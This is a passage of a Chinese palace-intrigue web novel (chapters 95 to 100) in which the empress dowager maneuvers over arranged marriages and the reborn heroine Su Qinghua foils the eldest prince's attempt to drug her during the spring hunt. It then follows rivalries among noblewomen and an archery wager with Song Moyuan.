赵阳帝叹息一声,说:“母后也知道,恩师对我、对赵阳都非常重要,他第一次求我,我不好不应呀。” 太后脸色仍未改善,问:“此事跟他有什么关系?” “太后有所不知,老秦相前几日意外被绑,恰巧被苏赫所救,老秦相心中感激,又对苏赫人品看重,有意让他当孙女婿,只是后来苏家出事,他尚未来的及找我赐婚,如今忽然听闻太后懿旨,这才着了急,今日一早便进宫求见,让我帮他跟母后讨个人情。” 赵阳帝记得恩师叮嘱,为了防止损害秦静姝声誉,只说是老秦相相中苏赫,并未提及秦静姝。 “哼,这苏赫倒是抢手,可凡事讲究个先来后到,他即没来得及开口求婚,那便是秦家与苏家无缘。” “母后的话也有道理,只是老靖远侯生前,也有意与秦家结亲,只是后来忽然去世,此事才耽搁了。若说先来后到,确实是秦苏两家在前,刘家在后。” 周太后一拍桌子,大声说道:“皇上的意思,是我乱点鸳鸯谱,坏了秦苏两家的好事了?” 周玥在旁吓了一跳,急忙给太后倒了一杯茶,轻声安慰:“皇姑祖母息怒,您误会皇上了,一边是母后,一边是恩师,皇上必定十分为难,可他最终选择跟您开口,只能说明皇上跟您更亲近几分,毕竟只有亲近之人,才会如此。” 周玥一番话语,让本紧张的氛围,瞬间柔和了几分。 周太后缓和了语气,说:“我知皇上心中,视我为亲母,我也一直视你为亲儿,所以才毫无顾忌,也不掩饰的向你吐露心声。” “儿臣明白,若没有母后抚育,便没有儿臣今日,母后的恩情,儿臣一直牢记在心。” “皇上只需记得,我们是母子便可,母子之间互相信任,互相扶持,本就是应当的,至于什么恩情,皇上万不可再说。” “是,儿臣谨记母后教诲。”赵阳帝站起身,恭敬的行了一礼。 周太后立刻起身,将他拉回座位坐下,并慈爱的拉着他的手。 屋内气氛,瞬间母子温馨,令人艳羡。 “儿臣跟母后说句实话,此事我也有私心,我赵阳国向来重文轻武,更别说年轻一代,根本没有能拿得出手的武将,苏赫这小子,我看着有几分老靖远侯之风,想大力培养,这样的话,天韶若敢再犯,我们也不必被动挨打,只是那刘家也是武官,我并不想让两家结亲。” 太后闻言,眼里一股恨意闪过,说:“天韶竟敢主动冒犯我赵阳,确实罪不可恕,等我赵阳兵强马壮,并将铁骑踏入,报当日之辱。” 第九十五章 围场春猎 赵阳帝对太后的年轻往事,也有所知晓,她对天韶明显的恨意,他心中也十分明了,但他嘴上说道:“累的母后为我赵阳担忧,儿臣实在有愧。” “我也是赵阳太后,与赵阳一荣俱荣,一辱俱辱,此事即涉及政事,我便不好再插手,只是我身为一国太后,出尔反尔,让我以后颜面何存?” 赵阳帝立刻保证道:“母后放心,幸好你的赐婚懿旨只下给了苏家,刘家尚不知情,届时便说懿旨中的女子,正是老秦相孙女-秦静姝即可。” 太后缓缓说道:“话虽如此,可知道明细的人,也不在少数,我的颜面毕竟是有损了,皇上可得补偿我一二。” “母后请讲,只要我能做到,必定答应。” 太后思考片刻,方才开口:“玥儿将来的婚事,我想说了算。” “这有何不可,母后是她的姑祖母,本就可以定她的婚事。” “我的意思是说,无论我想让她嫁给谁,即使对方不同意,我也可下旨赐婚,届时无论是谁求到皇上面前,皇上都不可反对。” 闻言,赵阳帝一愣,他拿起茶杯,轻轻放到嘴边,一边慢慢品尝,一边思索。 过了良久,他方才放下茶杯,说:“玥儿的婚事,本就应母后做主,只是玥儿还小,这事先不急。春猎在即,我也有意再考验一下苏赫,还有那清华公主,她与苏赫关系匪浅,若是有不轨之心,我不可害了恩师一世清明,待春猎回宫之后,到底这事该如何处置,我再给母后一个确定的答案。” 太后将手中茶水慢慢饮尽,说:“好,我等你。” 语毕,赵阳帝不再久留,起身离开,待回到长庆殿,他立刻吩咐江全,“最近你找人盯着太后,我倒想看看,周家看中的是哪艘大船?” 赵阳帝走后,周太后心情愉悦,这次赐婚事件,结果虽与她当初设想稍有不同,进宫求情的并不是苏清华,反而是她意想不到的老秦相。 不过也无所谓,老秦相更能触动皇上,对她反而更有利处。 只是苏清华果然好命,竟逃过一劫,否则她不止可以达成目的,还可以趁机挑唆皇上,对苏清华产生不满。 不过大皇子那边还未出手,她苏清华真正的危难还在后面...... 想通这一切,周太后脸上露出一副胜券在握的得意。 她微一转头,却发现周玥嘴角压不住的笑意,她的心情犹如过山车,瞬间沉了下来。 “玥儿,我还是那句话,若是宋墨渊主动到我这里求娶,我可以考虑答应他,可若是他不愿,那即使皇上答应我的条件,我也不会浪费在他身上。” 周玥闻言,嘴角的微笑立刻收回,眼神里的亮光也瞬间失了颜色。 她本以为,皇姑祖母筹谋一切,都是是为了她达成心愿,结果好像并不是...... “我这么做,全是为了你,为了周家,也许你现在不懂,可早晚有一天,你会明白我的苦心。” 周玥没有说话,将头垂的更低。 “留给你的时间不多了,此次春猎便是你最后的机会,若是宋墨渊还没有动心,皇上一旦给我肯定的答复,我便会立刻让你成为太子妃。” “我知道了,姑祖母,我头有点晕,我先回家了。” “去吧。” 周太后看着她离开的背影,不由叹息。 “太后娘娘,小小姐冰雪聪明,会明白你的苦心的,只是你逼的太急,怕她一时想不明白,受伤太深呀.....” “希望越大失望越大,长痛不如短痛,你这几天帮我盯紧了她,万不可让她跟宋墨渊有任何可能。” “老奴明白。” 周太后精致的护甲,在檀香木桌子上轻轻的敲击着,周家需要的不是感情用事的女子,周家需要的是冷心冷血,运筹帷幄的女子。 她相信周玥,更相信自己,必会带领周家,更上一层楼。 几日之后,便是赵阳传统的春猎。 赵阳都城的贵族基本都会参加。 苏清华收到赵阳帝的邀请,也参加了这次春猎。 她参加春猎有三个目的,一个是她活了两世从未参加过春猎,她确实想亲身体验一把, 第二个目的,老秦相那一直没动静,想是进展不顺,那就要从其他地方入手,将这赐婚解决了至于最后一个目的,太后费力将大皇子放出来,又向赵阳帝求娶不成,必会有其他对策,她若是不来,岂不是让她们失望? 一行人浩浩荡荡朝着西山围场进发。 到了之后,除了皇上的住处安排在行宫,其他士族家的男子,包括太子与大皇子都需要就地自己搭帐篷,以便学会适应恶劣环境跟天气,这样既可以锻炼意志,也可以强身健体。 至于随行的女子,是可以直接住在行宫的。 住处安排妥当之后,接下来要解决的便是饮食。 祖上流传下来的规定,春猎为期三天,期间一切食物,必须是现场狩猎而来。 西山围场内,彩旗飘扬,骏马嘶鸣。贵族子弟们身着华服,手持弓箭,跃跃欲试。 “三声礼炮轰然炸响,惊奇林间飞鸟无数。 “启禀陛下,围场已按例驱兽完毕,可随时开始春猎。” 御前侍卫统领单膝跪地,声音响彻云霄。 皇帝微微颔首,目光如鹰隼般扫过四周:“传朕旨意,今日春猎,不论皇子王公,皆以猎获多寡论赏。两个时辰之后,谁打的猎物最多,我将重重有赏。” 话音刚落,场边早已整装待发的贵家子弟,纷纷翻身上马,马蹄声顿时如雷贯耳。 锵...... 侍卫在铜锣上,用力一敲,赵阳帝大手一挥,士族子弟便朝着围场深处,骑马奔去。 相反,大部分女子则只骑着马,在围场外围溜达。 毕竟这围场之内,不止有兔子野鸡等小动物,也有野猪、老虎、野熊等大型野兽。 苏清华还是第一次参加春猎,前世,张彩蝶每年都会想各种理由,不让她参加,活了两世,才有机会体验一把,苏清华本也想去往围场深处,可却早有人堵住了她的去路。 “蠢货,既是第一次参加春猎,便应该多听多问,那围场深处野兽众多,可是你能去的,况且女子当恭顺良德,怎可逞强好胜,像男子一样锋芒毕露?” 第九十六章 打抱不平 苏清华闻声抬眸,只见苏清瑶骑着一匹红马,正挡在她的前方。 “放肆,苏清瑶,你竟敢对清华公主不敬?”秦静姝见状,急忙帮苏清华呵斥对方。 苏清瑶并不畏惧,反而轻笑一声,说:“我说的是不自量力的刘姑娘,我并未提及清华公主的名号,秦小姐怎会想到清华公主身上?难道在秦小姐眼里,清华公主竟也是这样的人?” 秦静姝往旁边一看,果然刘诗雨正跟在苏清瑶身后。 那日她被祖父教育,便不敢再提此事,此时见到刘诗雨,秦静姝眼里不由含了醋意。 她怎会如此好命,竟有机会嫁给苏大哥? “在我眼里,清华公主文武双全,不愧是老靖远侯的亲孙女,哪像有些人,除了嘴上功夫,其他的便什么也不是!” 秦静姝毫不客气的出言回击苏清瑶,她不愿意惹事,但是绝对也不怕事。 别说如今苏洵被抓,苏清瑶如今身份尴尬,便是苏家全盛时期,她也不惧! “你......”苏清瑶被怼的无话可说,这恨恨的盯着秦静姝! 苏清华并未理睬苏清瑶,而是一直暗中观察刘诗雨,只见刘诗雨微低着头,手紧紧握着缰绳,眼神里全是恨意,她对于苏清瑶的恶意侮辱,显然十分不满,只不过因为身份低微,选择极力隐忍而已。 苏清华暗忖:赐婚之事不知为何,只下给了苏赫,刘家那边并未知晓,这对她倒是有利无弊。 苏清瑶为了打压她,故意贬低刘诗雨,可刘诗雨的父亲大小也算个官,刘诗雨整日跟在她与张玉鸢身后,过着像丫鬟一样的日子,又如何会甘心? 这便是她可以利用的机会! “苏清瑶,你总是对我不敬,我看在姐妹一场的份上,不与你计较,可刘姑娘对你向来尊重,你为何处处针对她,对她毫无尊重?”她终于淡淡的开口。 苏清瑶怎么也没想到,苏清华刚才一直不说话,如今开口,竟是忽然为刘诗雨打抱不平起来? 难道刘诗雨这贱人,竟暗中投靠了她? “不过一个百户的女儿,也配得到我的尊重?”苏清瑶不屑道。 “你的意思是,身份低微便不值得尊重,只能被人欺辱?那我地位比你高,岂不是也可以随意欺辱你?”苏清华眼睛直睨苏清瑶问道。 “你敢,我舅父是大将军,为了赵阳安危,驻守边疆多年,你若是敢欺负我,舅父必会为我讨回公道。” “刘姑娘的父亲也驻守边疆多年,只不过身份没有你舅父高,便只能被你欺辱吗?” 苏清华边说边看向刘诗雨,只见她紧咬嘴唇,脸色越来越沉,明显已忍到极限。 苏清瑶顺着她的目光,也看向刘诗雨,见她竟真心生怨恨,不由更是恼怒,怒声道:“刘诗雨,你说我教育你的话可对?女子是不是应该恪守礼制,不可自不量力,前去深林狩猎?你若是心里不服,便大声说出来,别好像我真欺负了你!” “苏二小姐,你身为伯府姑娘,说话怎会如此无礼?围场内从未有明文规定,女子不可深入围场深处,而且我的曾祖母,便是因为春猎表现优异,当场被钦定为皇后,苏二小姐如此看不起狩猎的女子,可是也看不起我曾祖母?” 一个男子声音传来,苏清华转头去看,见大皇子骑着一匹黑马,正朝着她们而来。 “臣女不敢。”苏清瑶不敢得罪大皇子,立刻一改刚才的威风,语气立刻软了下来。 苏清华虽如今身份也比她高,可她从小打压惯了,对她并无畏惧,大皇子便不同了,他毕竟是皇子,她还不敢放肆。 刘诗雨将一切看在眼里,心里不由更是愤恨。 原来苏清瑶也有害怕的时候,只要身份比他高,她便不敢造次了。 大皇子见苏清瑶认错,也不再追究,他爽朗一笑,大声说:“不进深林,算什么狩猎,走,谁想进去体验真正狩猎的乐趣,本皇子帮你们带路,便是真有野兽,我用手中这把弓箭,便可保你们安全无虞。” 苏清华闻言,嘴角含笑,说:“那便有劳了。” 秦静姝见她答应,急忙拉一下她的衣角,对她摇了摇头。 苏清华道:“秦姐姐,你内心善良,不喜杀害生灵,便在此处等我吧,我对这春猎憧憬已久,如今又有大皇子保护,我恰好去满足了这个心愿。” 秦静姝见她坚持,知道她必有防范,也不再劝,仍是留在此处。 苏清瑶见状,不敢再拦,立刻骑马退到一边,苏清华便率先骑马分奔而去,大皇子紧随其后,刘诗雨见状,竟也放马追了上去。 苏清瑶见刘诗雨果然有背叛之心,心中暗恨,一拉马绳,也追了上去。 苏清华策马奔腾一阵,见大皇子一直紧跟其后,她故意放缓马步,等着大皇子。 大皇子即早已把她当猎物,如若不给他机会将计策使出来,只怕他会一直阴魂不散,不如趁早将他的事了了,自己也可以尽情体验一次春猎。 “大皇子,刚才多谢你出言相帮,只是我并不需要人保护,不如我们就此别过吧。”待大皇子追上前来,苏清华故意以退为进,假意要跟他分开。 大皇子拱手一礼,说:“不瞒清华公主,我今日是特意来道歉的,先前在无极殿内,我冒犯清华公主,还望你大人不记小人过,原谅我一次。” “当日之过,你已受过相应惩罚,我若是还记挂在心,那日也不会主动跟皇上说,让你归家。” 大皇子闻言,内心竟不由心动几分,他出来之后,只听说是太后先开的口,今日竟知,是苏清华主动让他归家。 “多谢清华公主!”大皇子语气中也带了几分真诚。 “咯咯咯” 突然,一只艳丽的锦鸡,从草丛中惊起,大皇子眼眸一亮,双腿轻夹马腹,他搭弓射箭,利箭直朝锦鸡而去,竟也动作干净利落,饱含英气。 “看,有吃的了。” 大皇子从马上轻轻一跃,脚尚未沾地,便又回到马背,手里多了一只带箭的锦鸡。 “大皇子身手利落,不愧是皇家男儿。”苏清华夸赞道。 第九十七章 给我机会 大皇子闻言,脸上不由显露得意之色,他指了指前方,说:“清华公主,此刻天寒地冻,在这围场里待两个时辰,又冷又无聊,不如我带你去一个地方,那里不仅保暖,我们还可以烤鸡吃,怎么样?” 苏清华回头偷偷瞟了一眼,见一个粉色身影,已经追了上来,不远不近的跟在后面,她嘴角微动,冷笑一声,这猎物主动送上门,她便不客气了! “好啊,大皇子带路。”苏清华没有反驳满是期待的大皇子。 大皇子见她点头,心中更是欢喜,轻夹马覆,走在前面带路。 两人左拐右拐,穿过密林,穿过小河,大约一刻钟后,两人到了围场最边缘,来到一处山峦中间,大皇子指着其中一座山,说:“到了,就在那里。” 苏清华翻身下马,大皇子殷勤的过来帮她栓马。 苏清华便率先进入洞中。 只见洞中有石椅石凳,甚至有一张石床。 “怎么样?清华公主,还满意吗?”大皇子拴好马,走进洞来问。 “大皇子有心了。” “你先坐着,我去将柴点了,这样不止可以暖和点,我正好将鸡收拾、烤了。” 苏清华也不客气,走到椅子上坐下,看着大皇子忙碌。 山洞之中,早就有劈好的柴火,明显是大皇子让人提前备好的。 赵亥先是将火引燃,然后烧好热水, 将锦鸡处理完毕,撒上调料,架在火堆之上,烤了起来。 “没想到,大皇子还有这手艺?”苏清华惊讶开口。 她认识他两世,看他亲手干活,确实是第一次。 “每次到围场捕猎,我又不想打太多猎物,抢了太子风头,可在这偌大的围场,又不让带侍卫、奴仆,一个人实在无聊,我便发现了这山洞,后来又学会了烤猎物,待会儿你定要尝尝我的手艺,虽然只有我一个人吃过,可我觉得并不比御厨差。” “好,那我有口福了。” 大皇子手脚麻利,两人说话间,锦鸡已烤的香味四溢。 苏清华闻着这香味,竟真有几分饿了。 “喏,你尝尝,可合你胃口?” 大皇子撕下一只鸡腿,递了过来。 苏清华拿到嘴边,轻轻咬了一口,那鸡腿肉香甜不腻,咸味适中,确实不比御厨的手艺差,只是里面却多了一点,迷药的味道。 苏清华只吃了一口,便将鸡腿放下,掏出手绢擦了擦手。 “不合你胃口吗?怎么不吃了?”大皇子一脸失望的问。 “味道不错,就是......”苏清华看了一眼大皇子,说:“就是稍微有点烫。” “原来如此,我还以为清华公主,不喜欢我的手艺呢。”大皇子了然的点点头,然后说:“那我们便等会再吃,两个时辰久的很,我们有的是时间。” 苏清华嘴角含笑,说:“大皇子说的有道理,只是不知为何,我头怎么......怎么有点晕?” 苏清华一边说着,一边用左手扶额,微闭着眼睛,轻声呢喃出声。 大皇子一脸喜色,他本以为苏清华只吃了一口,迷药根本不会起效,没想到太后的药竟如此厉害。 “清华公主,你怎么了?要不要我扶你回去?”大皇子说着,便站起身,慢慢尝试靠近苏清华。 “多谢大皇子。” 苏清华没有拒绝,反而出声道谢。 大皇子见她应允,内心更是狂喜,一手伸出,便往苏清华腰部伸去。 苏清华待他靠近,右手倏然伸出,拉着大皇子的头,趁势便往石桌一角撞去。 大皇子躲避不及,头正好撞在石桌之上,顿时晕倒在地。 苏清华心里冷哼:“关公面前耍大刀,竟然在我身上用药,真是不自量力。” 苏清华站起身,对着山洞门口喊道:“刘小姐,你不必藏了,出来吧。” 随即,一个清瘦的身影进来,正是刚被太后赐婚给大哥的刘诗雨。 “你为何一直跟着我们?”苏清华表情严肃,不怒自威。 刘诗雨竟不由被她震慑,心中暗想:刚才在密林之中,苏清华显然有所收敛,并未释放威严,此时苏清华身上的威严竟如此强盛,想当初,她也没少跟着张之鸢欺负苏清华,那时她甚至比自己还胆小谨慎。 权利果然是个好东西,竟这么快改变一个人!她也想快速拥有权力,然后便也不必再任人欺辱,毫无还手之力。 “清华公主,我对你并无恶意。”刘诗雨立刻解释:“那次在皇后宫里,我忽然倒在你身上,并不是我的本意,而是张玉鸢故意设计。” “我知道,然后呢?”苏清华微微皱眉。 刘诗雨见状,竟举起右手,发起毒誓:“今日之事,我若是传到第三人的耳朵里,便不得好死。” 苏清华眉毛轻挑,不屑道:“今日发生了何事,值得你发如此毒誓?不过是大皇子诚意跟我道歉,我接受了,然后便分道扬镳了。至于其他的,你若是说给他人听,我是不在乎的,可大皇子会不会放过你,那就不一定了,必定意图毒害天韶公主,不止是赵阳的事,还关系到两国是否能和平相处!” 刘诗雨见苏清华如此淡定,一副胜券在握的样子,她不由内心一紧。 本以为用此事不能威胁到苏清华,也可以让她忌惮一二,没想到她对此事非但不在意,反过来却又威胁了她! 思索片刻后,刘诗雨忽然跪倒在地,口里说道:“清华公主,求你给我一次机会。” “嗯?什么机会?”苏清华假装不解。 “一次可以飞上枝头的机会。” 刘诗雨目光坚定,说:“从前是张玉鸢,后来是苏清瑶,她们仗着家族身世比我高,不止是看不起我,更是经常利用侮辱我,就像刚才,苏清瑶当着这么多人面,骂我蠢货,我却不敢丝毫反抗,这种日子我过够了,我不想再任人宰割,我也想像清华公主一样,站的比她们高,可以俯视她们。” “所以你看上了大皇子?”苏清华问。 第九十八章 鱼与熊掌 刘诗雨将头磕向地面,说:“是,太子毕竟是一国储君,盯着的人甚多,我不敢肖想,大皇子虽不得皇上喜爱,可毕竟有皇家血脉,我若是嫁给他,便不会再轻易受人欺辱,求清华公主成全。” 苏清华闻言,眼色没有丝毫波澜,她心中暗思:“刘诗雨自卑敏感又心思深沉,幸好她并不知道与大哥赐婚之事,否则她若嫁入苏家,以大哥宽厚迟钝的性格,必被玩弄与鼓掌之间,只是不知她知道赐婚之事,是会选择大哥还是继续选择大皇子? “我善意提醒你一句,大皇子虽身份尊贵,可性格暴躁,并不是一个好的归宿。” 刘诗雨虽非良善之辈,却也不是大奸大恶之人。 她清楚的知道自己的目标,并且敢于追求自己的目标,苏清华反而要高看她一眼。 不过嘛,大皇子不止是性格有问题,身体在房事上也是有碍,她还是想好心提醒刘诗雨一次。 毕竟她虽急于帮大哥解决赐婚之事,也不会主动做那害人一生的事,可若是她自己愿意,那她便算不占因果了。 “多谢清华公主善意提醒,可我要的是尊贵的地位,鱼与熊掌不可兼得,况且大皇子若没有缺陷,还轮不到我一个百户之女肖想,即有所得,必有所失,只要能嫁给大皇子,其他的我都不在乎。” 刘诗雨目光坚定,有着一股不容置疑的执拗。 苏清华没有再劝,语气淡淡的说:“大皇子与我道歉之后,我便再也没有见过他,更未来过这山洞,至于接下来你要怎么做?是否能成功如愿,便看你自己的本事了。” 语毕,苏清华大步离开了山洞。 刘诗雨即愿意为了权贵,选择冒险一把,她成全她也可成全自己,何乐而不为呢? 刘诗雨尚不知自己,即将失去一次当侯府夫人的机会,看着倒地的大皇子,内心狂喜,想着该如何好好利用这次机会,顺利嫁入大皇子府,成为皇室成员。 .. 苏清华离开山洞,骑上自己的爱马,朝着密林的方向而去,走到半路,远远的便看见一墨色身影,骑在一匹枣红色骏马上,朝着她的方向过来。 宋墨渊恰巧也发现了苏清华的身影,他本紧绷的身体,明显放松了不少,眼中也不由露出喜悦的光芒。 大皇子欲对苏清华下手,他早就知道,也提醒过苏清华,可他在春猎的起点便见到,苏清华竟还是跟着大皇子走了,他怎能不急? 宋墨渊本不打算参加这次春猎,见到如此情况,也只好也骑上爱马,紧急前去追击。 他刚走到半路,却被周玥拦住了去路。 周玥跟他攀东扯西,回忆着小时候的事情,他心里着急苏清华的境况,又如何有心思跟她闲聊,于是他便让她让开,继续寻找苏清华的身影。 他本就起步晚,再由周玥一耽搁,便不见了苏清华的身影,他只能沿着她跟大皇子离去的方向,一点点查找。 谁知那周玥竟不顾尊严,一直跟在他的身后,仿若一个被抛弃的怨妇,眼神幽怨的盯着他。 此时的周玥,骑着一匹白马,跟在宋墨渊身后,当苏清华出现的那一刻,她的心彻底死了。 她的心里五味杂陈,伤心、委屈、失望、嫉妒甚至是愤怒。 原来宋墨渊不是不懂情爱,只是对她无情罢了。 她们周家向来中文轻武,她的琴棋书画样样精通,可骑术并不擅长。 若不是为了宋墨渊,她根本不想参加这狩猎。 当她克服恐惧,翻身上马,终于追上宋墨渊的时候,他看她的眼神,却是冷漠,当她不顾廉耻,主动跟他套近乎的时候,他看她的眼神甚至带着厌烦。 当苏清华出现,周玥亲眼看着宋墨渊,表情从冷漠变为喜悦,他的眼睛,仿若见到了世上最尊贵的宝石,散发出独特的光芒。 他的眼里只有苏清华,他眼神里的光芒,也只会给苏清华。 周玥觉得自己像一个傻子,一个自欺欺人的傻子。 苏清华此时也发现了周玥,并且发现她射向她的眼神里,夹杂着一丝敌意。 苏清华内心不由吐槽:真是冤家路窄,又遇到这俩痴女怨男了。 苏清华急忙调转马头,往别的方向而去,她对这种尴尬事情,可没有任何兴趣。 “等等,我有话问你,我们一起走吧。”宋墨渊轻夹马覆,向前几步,朝着她直奔而来,随后与她并肩同行。 “啊!”就在这时,一声惨烈的尖叫传来。 苏清华跟宋墨渊同时回头。 只见不远处的周玥,瘫坐在地,捂着自己的左腿惨叫。 她的马并没有受到惊吓,将她甩下之后,仍是站立原地。 “宋公子,我骑术不佳,不小心摔下了马,我的腿也受伤了,你可以载我一程吗?” 周玥双眼迷蒙,泪珠在眼眶里打转,语气也充满了哀求。 苏清华察觉到了不对劲,可即使是故意的,从马背上摔下,必然也会很痛。 “不可以。”冷漠且坚定的声音传来。 周玥闻言,脸色一僵,本泪意朦胧的眼睛,徒然睁大。他竟如此直接的拒绝了她,甚至是在她受伤的情况下。 宋墨渊冷然开口:“你自己都不在乎自己的身体,故意摔下马背,难道你还指望我一个外人在乎?” 语毕,宋墨渊便一拉马绳,继续向前方前进。 这句话像一支箭,直直的射入周玥的胸口,将她最后一丝希望也消灭的干净。 “清华公主不走吗?难道要留在这救人,等着去太后那领赏?” 苏清华本也没有准备救人的打算,别说她是故意摔得,便不是故意的,以她俩之间的关系,她也不会干出力不讨好的事,不止因为中间夹着一个周太后,更因为周玥看她的眼神,里面充满了敌意! 就这样,周玥眼睁睁的,看着二人并肩离去,西斜的阳光照在二人身上,一黑一白,竟相得益彰,般配的很。 “哈哈哈哈......” 周玥没有呼救,而是大声的笑出声来,随着大笑,一直未落下的泪珠,终于滚滚落下,犹如剪不断的露珠,越滚越多。 她的右腿片刻间便肿胀了起来,刚才她虽是故意落马,但受伤也是真,可此时她感觉不到痛,因为这些痛都没有她心痛。 这么多年的感情,竟是都错付了,既如此,她便没有理由再执着下去了.... 第九十九章 鹿死谁手? 苏清华与宋墨渊一前一后,骑马奔出一段距离,方才放缓缰绳,让马慢慢停下来。 “宋公子想问我什么?” 宋墨渊刚要开口,一个女子声音却忽然传来,打断了宋墨渊。 “苏清华,你怎么在这?大皇子呢?”苏清华循声望去,问话之人竟是苏清瑶。 苏清华不由暗忖,今日狩猎,实际的猎物没看见多少,这准备做戏的人与看戏的人,却是不少...... “我在哪里,还需跟你汇报吗?至于大皇子,他有手有脚,想去哪里便去哪里,你想找他,便立刻去找便是,在这问我做什么?”苏清华答道。 “可是大皇子他....” 还未等苏清瑶将话说完,她便被一个男声打断。 “可是什么?一个罪臣之女,为何可以参加这次狩猎?” 宋墨渊今日心情十分不爽,有个不怀好意的大皇子,已经够他烦的了,如今这烦人的女子,来了一个又一个,耽误他跟苏清华单独相处不说,还一直说蠢话,做蠢事,莫名令他生厌! 苏清瑶本因为隔着远,没有看清宋墨渊的面容,此时听到他说话,才知道竟惹了这位瘟神。 “宋公子息怒,是我舅父安排我来的......” 苏清瑶原本便不敢得罪宋墨渊,如今父亲获罪,她更是不敢得罪他。 “滚!” 宋墨渊语气如冰。 苏清瑶不敢停留,急忙驾马而去。 苏清瑶本不敢进这深林,可不止苏清华进了,刘诗雨进了,就连马术不精的周玥都进了,她怎么也算出身武将世家,又怎甘落后。 于是她便也跟着进来,想着趁机寻找太子,可好不容易找到太子,太子却一心打猎,根本无暇顾及她,甚至嫌弃她碍手碍脚。 她便只能慢慢返回,没想到半路竟又遇上苏清华。 这也倒罢了,偏偏遇上宋墨渊这个瘟神。 今日真是倒霉,先是被大皇子骂,刚才又被宋公子骂。 苏清瑶将一切都算到苏清华头上。谁让他们两个都是为了她出头。 “哼,不过凭着一张妖艳的脸,到处招摇,若是哪日将她的脸刮花,看她还如何得意?” 想到这里,苏清瑶内心不由一震。 她本来确实是没机会参加这次狩猎,毕竟父亲刚刚获罪,苏家这次并没有分到任何参加的名额,除了苏赫因为是贴身侍卫,可以随他圣上同来。 可舅父却特意将张家的名额给了她,甚至同时将张家的两个名额都给了她。 于是她便带着刘诗雨来了,毕竟身边有一个跟班,总比被人孤立强。 不过舅父也不是白白让她来,还同时交代她一个项特殊任务。 想起这任务,苏清瑶不由回头看了一眼苏清华。 “哼,再让你得意片刻,很快你便再没有得意的资本!” 想到此处,苏清瑶暂时压制住心中怒火,驾着马小心的朝着密林外侧走去。 只是走到不远,她便发现了坐在地上的周玥,她急忙上前询问情况,听闻她不小心落马,她内心不由暗喜。 看来今日是否极泰来之相! 这不好运就来了,救了太后孙侄女,那可是大功一件...... 另一边,宋墨渊见苏清瑶走远,才终于将憋在心里的问题问出:“你明知大皇子不怀好意,为何还要跟他单独相处?” “即知道他早有准备,不如让他趁早施展出来,省的他记挂着心中劳累......”苏清华解释。 “你何时变得如此好心了?” 苏清华哀叹一声,说:“关键我记挂着此事,也十分劳累,不如趁早解决了,也好肆意享受一番春猎的乐趣。” 毕竟这是她两世以来,第一次参加春猎。至于趁机帮大哥摆脱赐婚之事,她并没有明说。 毕竟她与他还没到无话不说的地步。 “走吧。”宋墨渊指了指前方说道。 “去哪里?” “你不是想享受春猎的乐趣吗?前方有一处小泉眼,那里经常会有口渴的动物出现......” 苏清华闻言,爽朗一笑,狠踢一下马覆,急速向前奔去,说:“那还等什么,别让别人抢先了。” 两人策马奔跑,不到一刻钟便来到那密林,远远的,苏清华便见一头鹿在小溪饮水,她拉起弓箭,瞄准猎物,直射而出。 弓箭正中小鹿心脏,它甚至没有丝毫挣扎,便倒地身亡。 宋墨渊也不甘示弱,挽弓朝着一只野猪射去,“嗖”,同样是一箭封喉,应声倒地。 苏清华转头看向身旁的宋墨渊,眼中满是挑衅:“听说宋公子箭无虚发,不如我们比试一场,若是谁输了,对方这三日的食物,便由谁负责。” 宋墨渊闻言,嘴角勾起一抹不羁的笑,回应道:“好,这赌约我应了,看来这三日,我不必再为吃食操心了。” “哼,比赛尚未开始,鹿死谁手,还未可知呢。” “咯咯咯....”恰在这时,一只野鸡在不远处出现。 两人如离弦之箭,同时向着目标而去。 苏清华目光如电,她率先出手,搭箭、拉弦,动作一气呵成。利箭呼啸而去,射向野鸡,野鸡却察觉到了危险,在千钧一发之际,扑打着翅膀飞开。 宋墨渊见状,轻轻一笑,说:“看我的!” 他双腿一夹马腹,朝着野鸡飞走的方向而去,同时双手搭弓,毫不犹豫的出手。 利箭穿破密林,直中野鸡心脏。 苏清华下意识胸口一紧,呼吸不由急促起来。 她心中暗思:前世,你对我射出那一箭之时,不知内心是否也如此果决,没有丝毫犹豫。 “锵锵锵......” 铜锣急促的响声传来,苏清华也瞬间被从回忆中惊醒。 “这是倒计时的锣声,我们往回赶吧,猎物会有专门的人来收。” 苏清华点点头:“宋公子的箭法,果然了得,不过今日只是时间仓促,若是再多点时间,我未必会输。” “清华公主难道想赖账?” “哪里,我可不是那种人,接下来三日,你的吃食我包了。”苏清华大声保证。 宋墨渊愉悦道:“那我等着清华公主的晚餐了。” 第一百章 夺得魁首 宋墨渊今日不爽的心情,终于得到释放。 他很开心有机会与苏清华独处,他对慢慢走进苏清华内心,也更有了信心。 苏清华本紧张的心,也放松了不少,重生之后,这种没有算计,没有对立的时刻,少之又少,如今即便只是片刻的放松,她也心满意足。 两人有说有笑,不急不慢的往围场外围方向而去。 待到两人赶回赵阳帝主持开场的广场,这里的气氛却有些许凝重。 赵阳祖上有规定,狩猎期间,不可带任何随从,必须靠自身能力,战胜自然。 所有奴仆必须在起点等待,此时碧山见主子归来,急忙走到近前,帮他牵马,并给他解释:“周小姐在围场之中,不小心摔下马,受了伤,是苏二小姐将其救回的,太后非常心疼,刚带着她先回行宫,找太医诊治了。” 翠竹此时也来到苏清华面前,顺手将马绳拉在手中,问:“小姐,你没事吧?” 她可是看见,大皇子一直紧跟小姐,在这等待的两个时辰,她简直度日如年,生怕苏清华出一点差错。 刚才苏清瑶骑马载着一女子,嘴里喊着:“有人受伤了。” 她的心也跟着提到嗓子眼,直到看清那人面目,她才稍微松口气。 同时她也恍然明白,苏清瑶跟小姐势不两立,见她受伤,恨不得踩上一脚,又怎会出手帮忙,她是关心则乱。 此时见苏清华好端端的站在眼前,她提着的心,才终于完全放松下来。 “我人倒是没事,只是运气不好,输了赌约,接下来三天,宋公子的伙食,需要我全权负责了。” 苏清华对于此次输给宋墨渊,仍是心存不甘。 “妹妹放心,我今日打了不少猎物,别说是一个宋公子,便是五个宋公子,也尽是够了。” 苏赫此时也打猎归来,恰巧听见苏清华抱怨,立刻拍胸脯保证道。 苏清华回头,看见苏赫骑着大马,慢慢靠近,喊了一声:“大哥,看来你今日收获颇丰呀!” “那是当然,也不看看我是谁的大哥,妹妹如此厉害,大哥又怎会拖后腿?”苏赫得意道。 “咯咯咯。”苏清华爽朗笑出声,回到:“也就大哥王婆卖瓜,自卖自夸,我可是刚输了比赛的人。” “一次输赢算的了什么,下次妹妹必会赢回来。” “我也是这么想到。”苏清华开心道。 宋墨渊被他们兄妹的开心感染,也接口道:“我们三个有机会,一定要好好比试一场,到时候谁要输了,便罚他亲自为大家烤肉。” 